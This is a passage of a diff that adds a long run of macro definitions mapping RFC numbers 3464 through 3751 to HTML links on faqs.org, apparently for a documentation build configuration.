+                         "RFC3464=<a href=\"http://www.faqs.org/rfcs/rfc3464.html\">RFC 3464</a>" \
+                         "RFC3465=<a href=\"http://www.faqs.org/rfcs/rfc3465.html\">RFC 3465</a>" \
+                         "RFC3466=<a href=\"http://www.faqs.org/rfcs/rfc3466.html\">RFC 3466</a>" \
+                         "RFC3467=<a href=\"http://www.faqs.org/rfcs/rfc3467.html\">RFC 3467</a>" \
+                         "RFC3468=<a href=\"http://www.faqs.org/rfcs/rfc3468.html\">RFC 3468</a>" \
+                         "RFC3469=<a href=\"http://www.faqs.org/rfcs/rfc3469.html\">RFC 3469</a>" \
+                         "RFC3470=<a href=\"http://www.faqs.org/rfcs/rfc3470.html\">RFC 3470</a>" \
+                         "RFC3471=<a href=\"http://www.faqs.org/rfcs/rfc3471.html\">RFC 3471</a>" \
+                         "RFC3472=<a href=\"http://www.faqs.org/rfcs/rfc3472.html\">RFC 3472</a>" \
+                         "RFC3473=<a href=\"http://www.faqs.org/rfcs/rfc3473.html\">RFC 3473</a>" \
+                         "RFC3474=<a href=\"http://www.faqs.org/rfcs/rfc3474.html\">RFC 3474</a>" \
+                         "RFC3475=<a href=\"http://www.faqs.org/rfcs/rfc3475.html\">RFC 3475</a>" \
+                         "RFC3476=<a href=\"http://www.faqs.org/rfcs/rfc3476.html\">RFC 3476</a>" \
+                         "RFC3477=<a href=\"http://www.faqs.org/rfcs/rfc3477.html\">RFC 3477</a>" \
+                         "RFC3478=<a href=\"http://www.faqs.org/rfcs/rfc3478.html\">RFC 3478</a>" \
+                         "RFC3479=<a href=\"http://www.faqs.org/rfcs/rfc3479.html\">RFC 3479</a>" \
+                         "RFC3480=<a href=\"http://www.faqs.org/rfcs/rfc3480.html\">RFC 3480</a>" \
+                         "RFC3481=<a href=\"http://www.faqs.org/rfcs/rfc3481.html\">RFC 3481</a>" \
+                         "RFC3482=<a href=\"http://www.faqs.org/rfcs/rfc3482.html\">RFC 3482</a>" \
+                         "RFC3483=<a href=\"http://www.faqs.org/rfcs/rfc3483.html\">RFC 3483</a>" \
+                         "RFC3484=<a href=\"http://www.faqs.org/rfcs/rfc3484.html\">RFC 3484</a>" \
+                         "RFC3485=<a href=\"http://www.faqs.org/rfcs/rfc3485.html\">RFC 3485</a>" \
+                         "RFC3486=<a href=\"http://www.faqs.org/rfcs/rfc3486.html\">RFC 3486</a>" \
+                         "RFC3487=<a href=\"http://www.faqs.org/rfcs/rfc3487.html\">RFC 3487</a>" \
+                         "RFC3488=<a href=\"http://www.faqs.org/rfcs/rfc3488.html\">RFC 3488</a>" \
+                         "RFC3489=<a href=\"http://www.faqs.org/rfcs/rfc3489.html\">RFC 3489</a>" \
+                         "RFC3490=<a href=\"http://www.faqs.org/rfcs/rfc3490.html\">RFC 3490</a>" \
+                         "RFC3491=<a href=\"http://www.faqs.org/rfcs/rfc3491.html\">RFC 3491</a>" \
+                         "RFC3492=<a href=\"http://www.faqs.org/rfcs/rfc3492.html\">RFC 3492</a>" \
+                         "RFC3493=<a href=\"http://www.faqs.org/rfcs/rfc3493.html\">RFC 3493</a>" \
+                         "RFC3494=<a href=\"http://www.faqs.org/rfcs/rfc3494.html\">RFC 3494</a>" \
+                         "RFC3495=<a href=\"http://www.faqs.org/rfcs/rfc3495.html\">RFC 3495</a>" \
+                         "RFC3496=<a href=\"http://www.faqs.org/rfcs/rfc3496.html\">RFC 3496</a>" \
+                         "RFC3497=<a href=\"http://www.faqs.org/rfcs/rfc3497.html\">RFC 3497</a>" \
+                         "RFC3498=<a href=\"http://www.faqs.org/rfcs/rfc3498.html\">RFC 3498</a>" \
+                         "RFC3499=<a href=\"http://www.faqs.org/rfcs/rfc3499.html\">RFC 3499</a>" \
+                         "RFC3500=<a href=\"http://www.faqs.org/rfcs/rfc3500.html\">RFC 3500</a>" \
+                         "RFC3501=<a href=\"http://www.faqs.org/rfcs/rfc3501.html\">RFC 3501</a>" \
+                         "RFC3502=<a href=\"http://www.faqs.org/rfcs/rfc3502.html\">RFC 3502</a>" \
+                         "RFC3503=<a href=\"http://www.faqs.org/rfcs/rfc3503.html\">RFC 3503</a>" \
+                         "RFC3504=<a href=\"http://www.faqs.org/rfcs/rfc3504.html\">RFC 3504</a>" \
+                         "RFC3505=<a href=\"http://www.faqs.org/rfcs/rfc3505.html\">RFC 3505</a>" \
+                         "RFC3506=<a href=\"http://www.faqs.org/rfcs/rfc3506.html\">RFC 3506</a>" \
+                         "RFC3507=<a href=\"http://www.faqs.org/rfcs/rfc3507.html\">RFC 3507</a>" \
+                         "RFC3508=<a href=\"http://www.faqs.org/rfcs/rfc3508.html\">RFC 3508</a>" \
+                         "RFC3509=<a href=\"http://www.faqs.org/rfcs/rfc3509.html\">RFC 3509</a>" \
+                         "RFC3510=<a href=\"http://www.faqs.org/rfcs/rfc3510.html\">RFC 3510</a>" \
+                         "RFC3511=<a href=\"http://www.faqs.org/rfcs/rfc3511.html\">RFC 3511</a>" \
+                         "RFC3512=<a href=\"http://www.faqs.org/rfcs/rfc3512.html\">RFC 3512</a>" \
+                         "RFC3513=<a href=\"http://www.faqs.org/rfcs/rfc3513.html\">RFC 3513</a>" \
+                         "RFC3514=<a href=\"http://www.faqs.org/rfcs/rfc3514.html\">RFC 3514</a>" \
+                         "RFC3515=<a href=\"http://www.faqs.org/rfcs/rfc3515.html\">RFC 3515</a>" \
+                         "RFC3516=<a href=\"http://www.faqs.org/rfcs/rfc3516.html\">RFC 3516</a>" \
+                         "RFC3517=<a href=\"http://www.faqs.org/rfcs/rfc3517.html\">RFC 3517</a>" \
+                         "RFC3518=<a href=\"http://www.faqs.org/rfcs/rfc3518.html\">RFC 3518</a>" \
+                         "RFC3519=<a href=\"http://www.faqs.org/rfcs/rfc3519.html\">RFC 3519</a>" \
+                         "RFC3520=<a href=\"http://www.faqs.org/rfcs/rfc3520.html\">RFC 3520</a>" \
+                         "RFC3521=<a href=\"http://www.faqs.org/rfcs/rfc3521.html\">RFC 3521</a>" \
+                         "RFC3522=<a href=\"http://www.faqs.org/rfcs/rfc3522.html\">RFC 3522</a>" \
+                         "RFC3523=<a href=\"http://www.faqs.org/rfcs/rfc3523.html\">RFC 3523</a>" \
+                         "RFC3524=<a href=\"http://www.faqs.org/rfcs/rfc3524.html\">RFC 3524</a>" \
+                         "RFC3525=<a href=\"http://www.faqs.org/rfcs/rfc3525.html\">RFC 3525</a>" \
+                         "RFC3526=<a href=\"http://www.faqs.org/rfcs/rfc3526.html\">RFC 3526</a>" \
+                         "RFC3527=<a href=\"http://www.faqs.org/rfcs/rfc3527.html\">RFC 3527</a>" \
+                         "RFC3528=<a href=\"http://www.faqs.org/rfcs/rfc3528.html\">RFC 3528</a>" \
+                         "RFC3529=<a href=\"http://www.faqs.org/rfcs/rfc3529.html\">RFC 3529</a>" \
+                         "RFC3530=<a href=\"http://www.faqs.org/rfcs/rfc3530.html\">RFC 3530</a>" \
+                         "RFC3531=<a href=\"http://www.faqs.org/rfcs/rfc3531.html\">RFC 3531</a>" \
+                         "RFC3532=<a href=\"http://www.faqs.org/rfcs/rfc3532.html\">RFC 3532</a>" \
+                         "RFC3533=<a href=\"http://www.faqs.org/rfcs/rfc3533.html\">RFC 3533</a>" \
+                         "RFC3534=<a href=\"http://www.faqs.org/rfcs/rfc3534.html\">RFC 3534</a>" \
+                         "RFC3535=<a href=\"http://www.faqs.org/rfcs/rfc3535.html\">RFC 3535</a>" \
+                         "RFC3536=<a href=\"http://www.faqs.org/rfcs/rfc3536.html\">RFC 3536</a>" \
+                         "RFC3537=<a href=\"http://www.faqs.org/rfcs/rfc3537.html\">RFC 3537</a>" \
+                         "RFC3538=<a href=\"http://www.faqs.org/rfcs/rfc3538.html\">RFC 3538</a>" \
+                         "RFC3539=<a href=\"http://www.faqs.org/rfcs/rfc3539.html\">RFC 3539</a>" \
+                         "RFC3540=<a href=\"http://www.faqs.org/rfcs/rfc3540.html\">RFC 3540</a>" \
+                         "RFC3541=<a href=\"http://www.faqs.org/rfcs/rfc3541.html\">RFC 3541</a>" \
+                         "RFC3542=<a href=\"http://www.faqs.org/rfcs/rfc3542.html\">RFC 3542</a>" \
+                         "RFC3543=<a href=\"http://www.faqs.org/rfcs/rfc3543.html\">RFC 3543</a>" \
+                         "RFC3544=<a href=\"http://www.faqs.org/rfcs/rfc3544.html\">RFC 3544</a>" \
+                         "RFC3545=<a href=\"http://www.faqs.org/rfcs/rfc3545.html\">RFC 3545</a>" \
+                         "RFC3546=<a href=\"http://www.faqs.org/rfcs/rfc3546.html\">RFC 3546</a>" \
+                         "RFC3547=<a href=\"http://www.faqs.org/rfcs/rfc3547.html\">RFC 3547</a>" \
+                         "RFC3548=<a href=\"http://www.faqs.org/rfcs/rfc3548.html\">RFC 3548</a>" \
+                         "RFC3549=<a href=\"http://www.faqs.org/rfcs/rfc3549.html\">RFC 3549</a>" \
+                         "RFC3550=<a href=\"http://www.faqs.org/rfcs/rfc3550.html\">RFC 3550</a>" \
+                         "RFC3551=<a href=\"http://www.faqs.org/rfcs/rfc3551.html\">RFC 3551</a>" \
+                         "RFC3552=<a href=\"http://www.faqs.org/rfcs/rfc3552.html\">RFC 3552</a>" \
+                         "RFC3553=<a href=\"http://www.faqs.org/rfcs/rfc3553.html\">RFC 3553</a>" \
+                         "RFC3554=<a href=\"http://www.faqs.org/rfcs/rfc3554.html\">RFC 3554</a>" \
+                         "RFC3555=<a href=\"http://www.faqs.org/rfcs/rfc3555.html\">RFC 3555</a>" \
+                         "RFC3556=<a href=\"http://www.faqs.org/rfcs/rfc3556.html\">RFC 3556</a>" \
+                         "RFC3557=<a href=\"http://www.faqs.org/rfcs/rfc3557.html\">RFC 3557</a>" \
+                         "RFC3558=<a href=\"http://www.faqs.org/rfcs/rfc3558.html\">RFC 3558</a>" \
+                         "RFC3559=<a href=\"http://www.faqs.org/rfcs/rfc3559.html\">RFC 3559</a>" \
+                         "RFC3560=<a href=\"http://www.faqs.org/rfcs/rfc3560.html\">RFC 3560</a>" \
+                         "RFC3561=<a href=\"http://www.faqs.org/rfcs/rfc3561.html\">RFC 3561</a>" \
+                         "RFC3562=<a href=\"http://www.faqs.org/rfcs/rfc3562.html\">RFC 3562</a>" \
+                         "RFC3563=<a href=\"http://www.faqs.org/rfcs/rfc3563.html\">RFC 3563</a>" \
+                         "RFC3564=<a href=\"http://www.faqs.org/rfcs/rfc3564.html\">RFC 3564</a>" \
+                         "RFC3565=<a href=\"http://www.faqs.org/rfcs/rfc3565.html\">RFC 3565</a>" \
+                         "RFC3566=<a href=\"http://www.faqs.org/rfcs/rfc3566.html\">RFC 3566</a>" \
+                         "RFC3567=<a href=\"http://www.faqs.org/rfcs/rfc3567.html\">RFC 3567</a>" \
+                         "RFC3568=<a href=\"http://www.faqs.org/rfcs/rfc3568.html\">RFC 3568</a>" \
+                         "RFC3569=<a href=\"http://www.faqs.org/rfcs/rfc3569.html\">RFC 3569</a>" \
+                         "RFC3570=<a href=\"http://www.faqs.org/rfcs/rfc3570.html\">RFC 3570</a>" \
+                         "RFC3571=<a href=\"http://www.faqs.org/rfcs/rfc3571.html\">RFC 3571</a>" \
+                         "RFC3572=<a href=\"http://www.faqs.org/rfcs/rfc3572.html\">RFC 3572</a>" \
+                         "RFC3573=<a href=\"http://www.faqs.org/rfcs/rfc3573.html\">RFC 3573</a>" \
+                         "RFC3574=<a href=\"http://www.faqs.org/rfcs/rfc3574.html\">RFC 3574</a>" \
+                         "RFC3575=<a href=\"http://www.faqs.org/rfcs/rfc3575.html\">RFC 3575</a>" \
+                         "RFC3576=<a href=\"http://www.faqs.org/rfcs/rfc3576.html\">RFC 3576</a>" \
+                         "RFC3577=<a href=\"http://www.faqs.org/rfcs/rfc3577.html\">RFC 3577</a>" \
+                         "RFC3578=<a href=\"http://www.faqs.org/rfcs/rfc3578.html\">RFC 3578</a>" \
+                         "RFC3579=<a href=\"http://www.faqs.org/rfcs/rfc3579.html\">RFC 3579</a>" \
+                         "RFC3580=<a href=\"http://www.faqs.org/rfcs/rfc3580.html\">RFC 3580</a>" \
+                         "RFC3581=<a href=\"http://www.faqs.org/rfcs/rfc3581.html\">RFC 3581</a>" \
+                         "RFC3582=<a href=\"http://www.faqs.org/rfcs/rfc3582.html\">RFC 3582</a>" \
+                         "RFC3583=<a href=\"http://www.faqs.org/rfcs/rfc3583.html\">RFC 3583</a>" \
+                         "RFC3584=<a href=\"http://www.faqs.org/rfcs/rfc3584.html\">RFC 3584</a>" \
+                         "RFC3585=<a href=\"http://www.faqs.org/rfcs/rfc3585.html\">RFC 3585</a>" \
+                         "RFC3586=<a href=\"http://www.faqs.org/rfcs/rfc3586.html\">RFC 3586</a>" \
+                         "RFC3587=<a href=\"http://www.faqs.org/rfcs/rfc3587.html\">RFC 3587</a>" \
+                         "RFC3588=<a href=\"http://www.faqs.org/rfcs/rfc3588.html\">RFC 3588</a>" \
+                         "RFC3589=<a href=\"http://www.faqs.org/rfcs/rfc3589.html\">RFC 3589</a>" \
+                         "RFC3590=<a href=\"http://www.faqs.org/rfcs/rfc3590.html\">RFC 3590</a>" \
+                         "RFC3591=<a href=\"http://www.faqs.org/rfcs/rfc3591.html\">RFC 3591</a>" \
+                         "RFC3592=<a href=\"http://www.faqs.org/rfcs/rfc3592.html\">RFC 3592</a>" \
+                         "RFC3593=<a href=\"http://www.faqs.org/rfcs/rfc3593.html\">RFC 3593</a>" \
+                         "RFC3594=<a href=\"http://www.faqs.org/rfcs/rfc3594.html\">RFC 3594</a>" \
+                         "RFC3595=<a href=\"http://www.faqs.org/rfcs/rfc3595.html\">RFC 3595</a>" \
+                         "RFC3596=<a href=\"http://www.faqs.org/rfcs/rfc3596.html\">RFC 3596</a>" \
+                         "RFC3597=<a href=\"http://www.faqs.org/rfcs/rfc3597.html\">RFC 3597</a>" \
+                         "RFC3598=<a href=\"http://www.faqs.org/rfcs/rfc3598.html\">RFC 3598</a>" \
+                         "RFC3599=<a href=\"http://www.faqs.org/rfcs/rfc3599.html\">RFC 3599</a>" \
+                         "RFC3600=<a href=\"http://www.faqs.org/rfcs/rfc3600.html\">RFC 3600</a>" \
+                         "RFC3601=<a href=\"http://www.faqs.org/rfcs/rfc3601.html\">RFC 3601</a>" \
+                         "RFC3602=<a href=\"http://www.faqs.org/rfcs/rfc3602.html\">RFC 3602</a>" \
+                         "RFC3603=<a href=\"http://www.faqs.org/rfcs/rfc3603.html\">RFC 3603</a>" \
+                         "RFC3604=<a href=\"http://www.faqs.org/rfcs/rfc3604.html\">RFC 3604</a>" \
+                         "RFC3605=<a href=\"http://www.faqs.org/rfcs/rfc3605.html\">RFC 3605</a>" \
+                         "RFC3606=<a href=\"http://www.faqs.org/rfcs/rfc3606.html\">RFC 3606</a>" \
+                         "RFC3607=<a href=\"http://www.faqs.org/rfcs/rfc3607.html\">RFC 3607</a>" \
+                         "RFC3608=<a href=\"http://www.faqs.org/rfcs/rfc3608.html\">RFC 3608</a>" \
+                         "RFC3609=<a href=\"http://www.faqs.org/rfcs/rfc3609.html\">RFC 3609</a>" \
+                         "RFC3610=<a href=\"http://www.faqs.org/rfcs/rfc3610.html\">RFC 3610</a>" \
+                         "RFC3611=<a href=\"http://www.faqs.org/rfcs/rfc3611.html\">RFC 3611</a>" \
+                         "RFC3612=<a href=\"http://www.faqs.org/rfcs/rfc3612.html\">RFC 3612</a>" \
+                         "RFC3613=<a href=\"http://www.faqs.org/rfcs/rfc3613.html\">RFC 3613</a>" \
+                         "RFC3614=<a href=\"http://www.faqs.org/rfcs/rfc3614.html\">RFC 3614</a>" \
+                         "RFC3615=<a href=\"http://www.faqs.org/rfcs/rfc3615.html\">RFC 3615</a>" \
+                         "RFC3616=<a href=\"http://www.faqs.org/rfcs/rfc3616.html\">RFC 3616</a>" \
+                         "RFC3617=<a href=\"http://www.faqs.org/rfcs/rfc3617.html\">RFC 3617</a>" \
+                         "RFC3618=<a href=\"http://www.faqs.org/rfcs/rfc3618.html\">RFC 3618</a>" \
+                         "RFC3619=<a href=\"http://www.faqs.org/rfcs/rfc3619.html\">RFC 3619</a>" \
+                         "RFC3620=<a href=\"http://www.faqs.org/rfcs/rfc3620.html\">RFC 3620</a>" \
+                         "RFC3621=<a href=\"http://www.faqs.org/rfcs/rfc3621.html\">RFC 3621</a>" \
+                         "RFC3622=<a href=\"http://www.faqs.org/rfcs/rfc3622.html\">RFC 3622</a>" \
+                         "RFC3623=<a href=\"http://www.faqs.org/rfcs/rfc3623.html\">RFC 3623</a>" \
+                         "RFC3624=<a href=\"http://www.faqs.org/rfcs/rfc3624.html\">RFC 3624</a>" \
+                         "RFC3625=<a href=\"http://www.faqs.org/rfcs/rfc3625.html\">RFC 3625</a>" \
+                         "RFC3626=<a href=\"http://www.faqs.org/rfcs/rfc3626.html\">RFC 3626</a>" \
+                         "RFC3627=<a href=\"http://www.faqs.org/rfcs/rfc3627.html\">RFC 3627</a>" \
+                         "RFC3628=<a href=\"http://www.faqs.org/rfcs/rfc3628.html\">RFC 3628</a>" \
+                         "RFC3629=<a href=\"http://www.faqs.org/rfcs/rfc3629.html\">RFC 3629</a>" \
+                         "RFC3630=<a href=\"http://www.faqs.org/rfcs/rfc3630.html\">RFC 3630</a>" \
+                         "RFC3631=<a href=\"http://www.faqs.org/rfcs/rfc3631.html\">RFC 3631</a>" \
+                         "RFC3632=<a href=\"http://www.faqs.org/rfcs/rfc3632.html\">RFC 3632</a>" \
+                         "RFC3633=<a href=\"http://www.faqs.org/rfcs/rfc3633.html\">RFC 3633</a>" \
+                         "RFC3634=<a href=\"http://www.faqs.org/rfcs/rfc3634.html\">RFC 3634</a>" \
+                         "RFC3635=<a href=\"http://www.faqs.org/rfcs/rfc3635.html\">RFC 3635</a>" \
+                         "RFC3636=<a href=\"http://www.faqs.org/rfcs/rfc3636.html\">RFC 3636</a>" \
+                         "RFC3637=<a href=\"http://www.faqs.org/rfcs/rfc3637.html\">RFC 3637</a>" \
+                         "RFC3638=<a href=\"http://www.faqs.org/rfcs/rfc3638.html\">RFC 3638</a>" \
+                         "RFC3639=<a href=\"http://www.faqs.org/rfcs/rfc3639.html\">RFC 3639</a>" \
+                         "RFC3640=<a href=\"http://www.faqs.org/rfcs/rfc3640.html\">RFC 3640</a>" \
+                         "RFC3641=<a href=\"http://www.faqs.org/rfcs/rfc3641.html\">RFC 3641</a>" \
+                         "RFC3642=<a href=\"http://www.faqs.org/rfcs/rfc3642.html\">RFC 3642</a>" \
+                         "RFC3643=<a href=\"http://www.faqs.org/rfcs/rfc3643.html\">RFC 3643</a>" \
+                         "RFC3644=<a href=\"http://www.faqs.org/rfcs/rfc3644.html\">RFC 3644</a>" \
+                         "RFC3645=<a href=\"http://www.faqs.org/rfcs/rfc3645.html\">RFC 3645</a>" \
+                         "RFC3646=<a href=\"http://www.faqs.org/rfcs/rfc3646.html\">RFC 3646</a>" \
+                         "RFC3647=<a href=\"http://www.faqs.org/rfcs/rfc3647.html\">RFC 3647</a>" \
+                         "RFC3648=<a href=\"http://www.faqs.org/rfcs/rfc3648.html\">RFC 3648</a>" \
+                         "RFC3649=<a href=\"http://www.faqs.org/rfcs/rfc3649.html\">RFC 3649</a>" \
+                         "RFC3650=<a href=\"http://www.faqs.org/rfcs/rfc3650.html\">RFC 3650</a>" \
+                         "RFC3651=<a href=\"http://www.faqs.org/rfcs/rfc3651.html\">RFC 3651</a>" \
+                         "RFC3652=<a href=\"http://www.faqs.org/rfcs/rfc3652.html\">RFC 3652</a>" \
+                         "RFC3653=<a href=\"http://www.faqs.org/rfcs/rfc3653.html\">RFC 3653</a>" \
+                         "RFC3654=<a href=\"http://www.faqs.org/rfcs/rfc3654.html\">RFC 3654</a>" \
+                         "RFC3655=<a href=\"http://www.faqs.org/rfcs/rfc3655.html\">RFC 3655</a>" \
+                         "RFC3656=<a href=\"http://www.faqs.org/rfcs/rfc3656.html\">RFC 3656</a>" \
+                         "RFC3657=<a href=\"http://www.faqs.org/rfcs/rfc3657.html\">RFC 3657</a>" \
+                         "RFC3658=<a href=\"http://www.faqs.org/rfcs/rfc3658.html\">RFC 3658</a>" \
+                         "RFC3659=<a href=\"http://www.faqs.org/rfcs/rfc3659.html\">RFC 3659</a>" \
+                         "RFC3660=<a href=\"http://www.faqs.org/rfcs/rfc3660.html\">RFC 3660</a>" \
+                         "RFC3661=<a href=\"http://www.faqs.org/rfcs/rfc3661.html\">RFC 3661</a>" \
+                         "RFC3662=<a href=\"http://www.faqs.org/rfcs/rfc3662.html\">RFC 3662</a>" \
+                         "RFC3663=<a href=\"http://www.faqs.org/rfcs/rfc3663.html\">RFC 3663</a>" \
+                         "RFC3664=<a href=\"http://www.faqs.org/rfcs/rfc3664.html\">RFC 3664</a>" \
+                         "RFC3665=<a href=\"http://www.faqs.org/rfcs/rfc3665.html\">RFC 3665</a>" \
+                         "RFC3666=<a href=\"http://www.faqs.org/rfcs/rfc3666.html\">RFC 3666</a>" \
+                         "RFC3667=<a href=\"http://www.faqs.org/rfcs/rfc3667.html\">RFC 3667</a>" \
+                         "RFC3668=<a href=\"http://www.faqs.org/rfcs/rfc3668.html\">RFC 3668</a>" \
+                         "RFC3669=<a href=\"http://www.faqs.org/rfcs/rfc3669.html\">RFC 3669</a>" \
+                         "RFC3670=<a href=\"http://www.faqs.org/rfcs/rfc3670.html\">RFC 3670</a>" \
+                         "RFC3671=<a href=\"http://www.faqs.org/rfcs/rfc3671.html\">RFC 3671</a>" \
+                         "RFC3672=<a href=\"http://www.faqs.org/rfcs/rfc3672.html\">RFC 3672</a>" \
+                         "RFC3673=<a href=\"http://www.faqs.org/rfcs/rfc3673.html\">RFC 3673</a>" \
+                         "RFC3674=<a href=\"http://www.faqs.org/rfcs/rfc3674.html\">RFC 3674</a>" \
+                         "RFC3675=<a href=\"http://www.faqs.org/rfcs/rfc3675.html\">RFC 3675</a>" \
+                         "RFC3676=<a href=\"http://www.faqs.org/rfcs/rfc3676.html\">RFC 3676</a>" \
+                         "RFC3677=<a href=\"http://www.faqs.org/rfcs/rfc3677.html\">RFC 3677</a>" \
+                         "RFC3678=<a href=\"http://www.faqs.org/rfcs/rfc3678.html\">RFC 3678</a>" \
+                         "RFC3679=<a href=\"http://www.faqs.org/rfcs/rfc3679.html\">RFC 3679</a>" \
+                         "RFC3680=<a href=\"http://www.faqs.org/rfcs/rfc3680.html\">RFC 3680</a>" \
+                         "RFC3681=<a href=\"http://www.faqs.org/rfcs/rfc3681.html\">RFC 3681</a>" \
+                         "RFC3682=<a href=\"http://www.faqs.org/rfcs/rfc3682.html\">RFC 3682</a>" \
+                         "RFC3683=<a href=\"http://www.faqs.org/rfcs/rfc3683.html\">RFC 3683</a>" \
+                         "RFC3684=<a href=\"http://www.faqs.org/rfcs/rfc3684.html\">RFC 3684</a>" \
+                         "RFC3685=<a href=\"http://www.faqs.org/rfcs/rfc3685.html\">RFC 3685</a>" \
+                         "RFC3686=<a href=\"http://www.faqs.org/rfcs/rfc3686.html\">RFC 3686</a>" \
+                         "RFC3687=<a href=\"http://www.faqs.org/rfcs/rfc3687.html\">RFC 3687</a>" \
+                         "RFC3688=<a href=\"http://www.faqs.org/rfcs/rfc3688.html\">RFC 3688</a>" \
+                         "RFC3689=<a href=\"http://www.faqs.org/rfcs/rfc3689.html\">RFC 3689</a>" \
+                         "RFC3690=<a href=\"http://www.faqs.org/rfcs/rfc3690.html\">RFC 3690</a>" \
+                         "RFC3691=<a href=\"http://www.faqs.org/rfcs/rfc3691.html\">RFC 3691</a>" \
+                         "RFC3692=<a href=\"http://www.faqs.org/rfcs/rfc3692.html\">RFC 3692</a>" \
+                         "RFC3693=<a href=\"http://www.faqs.org/rfcs/rfc3693.html\">RFC 3693</a>" \
+                         "RFC3694=<a href=\"http://www.faqs.org/rfcs/rfc3694.html\">RFC 3694</a>" \
+                         "RFC3695=<a href=\"http://www.faqs.org/rfcs/rfc3695.html\">RFC 3695</a>" \
+                         "RFC3696=<a href=\"http://www.faqs.org/rfcs/rfc3696.html\">RFC 3696</a>" \
+                         "RFC3697=<a href=\"http://www.faqs.org/rfcs/rfc3697.html\">RFC 3697</a>" \
+                         "RFC3698=<a href=\"http://www.faqs.org/rfcs/rfc3698.html\">RFC 3698</a>" \
+                         "RFC3699=<a href=\"http://www.faqs.org/rfcs/rfc3699.html\">RFC 3699</a>" \
+                         "RFC3700=<a href=\"http://www.faqs.org/rfcs/rfc3700.html\">RFC 3700</a>" \
+                         "RFC3701=<a href=\"http://www.faqs.org/rfcs/rfc3701.html\">RFC 3701</a>" \
+                         "RFC3702=<a href=\"http://www.faqs.org/rfcs/rfc3702.html\">RFC 3702</a>" \
+                         "RFC3703=<a href=\"http://www.faqs.org/rfcs/rfc3703.html\">RFC 3703</a>" \
+                         "RFC3704=<a href=\"http://www.faqs.org/rfcs/rfc3704.html\">RFC 3704</a>" \
+                         "RFC3705=<a href=\"http://www.faqs.org/rfcs/rfc3705.html\">RFC 3705</a>" \
+                         "RFC3706=<a href=\"http://www.faqs.org/rfcs/rfc3706.html\">RFC 3706</a>" \
+                         "RFC3707=<a href=\"http://www.faqs.org/rfcs/rfc3707.html\">RFC 3707</a>" \
+                         "RFC3708=<a href=\"http://www.faqs.org/rfcs/rfc3708.html\">RFC 3708</a>" \
+                         "RFC3709=<a href=\"http://www.faqs.org/rfcs/rfc3709.html\">RFC 3709</a>" \
+                         "RFC3710=<a href=\"http://www.faqs.org/rfcs/rfc3710.html\">RFC 3710</a>" \
+                         "RFC3711=<a href=\"http://www.faqs.org/rfcs/rfc3711.html\">RFC 3711</a>" \
+                         "RFC3712=<a href=\"http://www.faqs.org/rfcs/rfc3712.html\">RFC 3712</a>" \
+                         "RFC3713=<a href=\"http://www.faqs.org/rfcs/rfc3713.html\">RFC 3713</a>" \
+                         "RFC3714=<a href=\"http://www.faqs.org/rfcs/rfc3714.html\">RFC 3714</a>" \
+                         "RFC3715=<a href=\"http://www.faqs.org/rfcs/rfc3715.html\">RFC 3715</a>" \
+                         "RFC3716=<a href=\"http://www.faqs.org/rfcs/rfc3716.html\">RFC 3716</a>" \
+                         "RFC3717=<a href=\"http://www.faqs.org/rfcs/rfc3717.html\">RFC 3717</a>" \
+                         "RFC3718=<a href=\"http://www.faqs.org/rfcs/rfc3718.html\">RFC 3718</a>" \
+                         "RFC3719=<a href=\"http://www.faqs.org/rfcs/rfc3719.html\">RFC 3719</a>" \
+                         "RFC3720=<a href=\"http://www.faqs.org/rfcs/rfc3720.html\">RFC 3720</a>" \
+                         "RFC3721=<a href=\"http://www.faqs.org/rfcs/rfc3721.html\">RFC 3721</a>" \
+                         "RFC3722=<a href=\"http://www.faqs.org/rfcs/rfc3722.html\">RFC 3722</a>" \
+                         "RFC3723=<a href=\"http://www.faqs.org/rfcs/rfc3723.html\">RFC 3723</a>" \
+                         "RFC3724=<a href=\"http://www.faqs.org/rfcs/rfc3724.html\">RFC 3724</a>" \
+                         "RFC3725=<a href=\"http://www.faqs.org/rfcs/rfc3725.html\">RFC 3725</a>" \
+                         "RFC3726=<a href=\"http://www.faqs.org/rfcs/rfc3726.html\">RFC 3726</a>" \
+                         "RFC3727=<a href=\"http://www.faqs.org/rfcs/rfc3727.html\">RFC 3727</a>" \
+                         "RFC3728=<a href=\"http://www.faqs.org/rfcs/rfc3728.html\">RFC 3728</a>" \
+                         "RFC3729=<a href=\"http://www.faqs.org/rfcs/rfc3729.html\">RFC 3729</a>" \
+                         "RFC3730=<a href=\"http://www.faqs.org/rfcs/rfc3730.html\">RFC 3730</a>" \
+                         "RFC3731=<a href=\"http://www.faqs.org/rfcs/rfc3731.html\">RFC 3731</a>" \
+                         "RFC3732=<a href=\"http://www.faqs.org/rfcs/rfc3732.html\">RFC 3732</a>" \
+                         "RFC3733=<a href=\"http://www.faqs.org/rfcs/rfc3733.html\">RFC 3733</a>" \
+                         "RFC3734=<a href=\"http://www.faqs.org/rfcs/rfc3734.html\">RFC 3734</a>" \
+                         "RFC3735=<a href=\"http://www.faqs.org/rfcs/rfc3735.html\">RFC 3735</a>" \
+                         "RFC3736=<a href=\"http://www.faqs.org/rfcs/rfc3736.html\">RFC 3736</a>" \
+                         "RFC3737=<a href=\"http://www.faqs.org/rfcs/rfc3737.html\">RFC 3737</a>" \
+                         "RFC3738=<a href=\"http://www.faqs.org/rfcs/rfc3738.html\">RFC 3738</a>" \
+                         "RFC3739=<a href=\"http://www.faqs.org/rfcs/rfc3739.html\">RFC 3739</a>" \
+                         "RFC3740=<a href=\"http://www.faqs.org/rfcs/rfc3740.html\">RFC 3740</a>" \
+                         "RFC3741=<a href=\"http://www.faqs.org/rfcs/rfc3741.html\">RFC 3741</a>" \
+                         "RFC3742=<a href=\"http://www.faqs.org/rfcs/rfc3742.html\">RFC 3742</a>" \
+                         "RFC3743=<a href=\"http://www.faqs.org/rfcs/rfc3743.html\">RFC 3743</a>" \
+                         "RFC3744=<a href=\"http://www.faqs.org/rfcs/rfc3744.html\">RFC 3744</a>" \
+                         "RFC3745=<a href=\"http://www.faqs.org/rfcs/rfc3745.html\">RFC 3745</a>" \
+                         "RFC3746=<a href=\"http://www.faqs.org/rfcs/rfc3746.html\">RFC 3746</a>" \
+                         "RFC3747=<a href=\"http://www.faqs.org/rfcs/rfc3747.html\">RFC 3747</a>" \
+                         "RFC3748=<a href=\"http://www.faqs.org/rfcs/rfc3748.html\">RFC 3748</a>" \
+                         "RFC3749=<a href=\"http://www.faqs.org/rfcs/rfc3749.html\">RFC 3749</a>" \
+                         "RFC3750=<a href=\"http://www.faqs.org/rfcs/rfc3750.html\">RFC 3750</a>" \
+                         "RFC3751=<a href=\"http://www.faqs.org/rfcs/rfc3751.html\">RFC 3751</a>" \
